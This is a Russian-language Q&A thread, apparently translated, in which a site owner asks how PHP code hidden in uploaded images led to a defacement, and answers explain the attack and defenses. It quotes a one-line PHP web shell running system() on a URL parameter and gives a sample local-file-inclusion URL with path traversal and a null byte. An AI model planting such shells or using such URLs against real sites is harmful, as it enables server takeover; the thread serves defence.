Мой сайт php был взломан кодами, загруженными как изображение ..?

Вчера мой сайт состоял. Злоумышленник изменяет файл index.php на свой собственный (со всеми их сообщениями о славе и приветствиями). Я уведомил об этом хостинговую компанию (мы работаем на выделенном сервере), и, со своей стороны, я пытаюсь исправить все, что кажется причиной, потому что я все еще не могу указать, как именно сервер был атакован, но я думаю, что нашел определенные лазейки на основе скриптов, которые могли бы быть виновниками.

На нашем сайте есть форма для загрузки изображений, но все загруженные изображения проверяются, если они действительно являются файлом изображения, а не некоторыми кодами, используя функцию php getimagesize. Только если тип изображения IMAGETYPE_GIF или IMAGETYPE_JPEG или IMAGETYPE_PNG, они будут приняты. Кроме того, они не смогут загрузить файл. Однако я узнал, что один загруженный файл изображения содержит внутри него скрипт php! Вы можете скачать изображение здесь . Это действительный файл изображения, но попробуйте открыть изображение с помощью любого текстового редактора, и вы найдете внутри него PHP-код:

<?php echo "<pre>"; system($_GET['cmd']); echo "</pre>"; ?> 

Например, изображение загружается в это место (www.mysite.com/uploads/picodes.jpg). Обратите внимание, что разрешение на загрузку папки – 755. Есть ли в мире способ, которым атакующий может выполнить систему (или любую другую команду, такую ​​как passthru, так как мы обнаружили другое изображение, имеет тот же код, что и выше, но вместо системы , он имеет команду passthru), например, набрав команду www.mysite.com/uploads/picodes.jpg?cmd=some ? Насколько мне известно, это невозможно сделать (действительно оцените, если кто-то может доказать, что я ошибаюсь), если злоумышленник не может переименовать файл jpg в php, и даже это, эти коды скрыты глубоко внутри изображения (см. Изображение внутри текстовый редактор, чтобы понять, что я пытаюсь сказать)

Для предосторожности я отключил эти php-функции (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system), добавив их в disable_functions в php.ini.

Во всяком случае, я все еще думаю, что злоумышленник получает доступ не через Интернет, а через эксплойт сервера, но я думаю, что моя хостинговая компания думает иначе.

Файл изображения с произвольным кодом PHP не может быть использован с прямым запросом к нему, например, http://www.mysite.com/uploads/image.jpg?cmd=somecode .

Тем не менее, его можно использовать с уязвимостью локального файла.

Например, в index.php вы используете include('pages/' . $_GET['page'] . '.php'); , тогда злоумышленник может загружать изображение с помощью PHP-кода внутри и выполнять команды с smth следующим образом: http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: изменен файл в URL на страницу

Файлы JPEG могут содержать произвольные данные в них в дополнение к фактическим данным изображения; это часть спецификации. Таким образом, просто проверка того, является ли изображение допустимым JPEG, не означает, что файл обязательно полностью безопасен.

Это может быть не уязвимость в вашем коде. Мне случилось то же самое со мной несколько недель назад. Хотя ВСЕ мои файлы index.php были удалены, даже те, которые не доступны непосредственно в Интернете. В моем случае это была дыра в безопасности в Linux. Ничего общего с моим кодом. Это был ответ моего хостинг-провайдера (A2Hosting), касающийся проблемы. Как только я убедился, что это не что-то, что я сделал, они быстро разобрались.

«Недавний эксплойт в ядре Linux был использован для предоставления административного (корневого) доступа к каталогам пользователей на сервере. Атака заключалась в удалении файлов индекса, найденных в каталогах, и замене их желаемым контентом злоумышленника: черная веб-страница с «iSKORPiTX (Turkish Hacker)». Этот хак был массовым через Интернет и использовал ранее неизвестную уязвимость, ограничивая наши возможности в предотвращении этого ».

Настройки моего загрузчика изображений: загрузка файла в папку temp, создание нового изображения с помощью imagecreatefromjpeg или imagecreatefrompng или imagecreatefromgif и сохранение, удаление загруженного файла из папки temp (все эти действия происходят в рамках одного действия с сценарием, поэтому файл, загруженный в папку temp, не существует в течение длительного времени)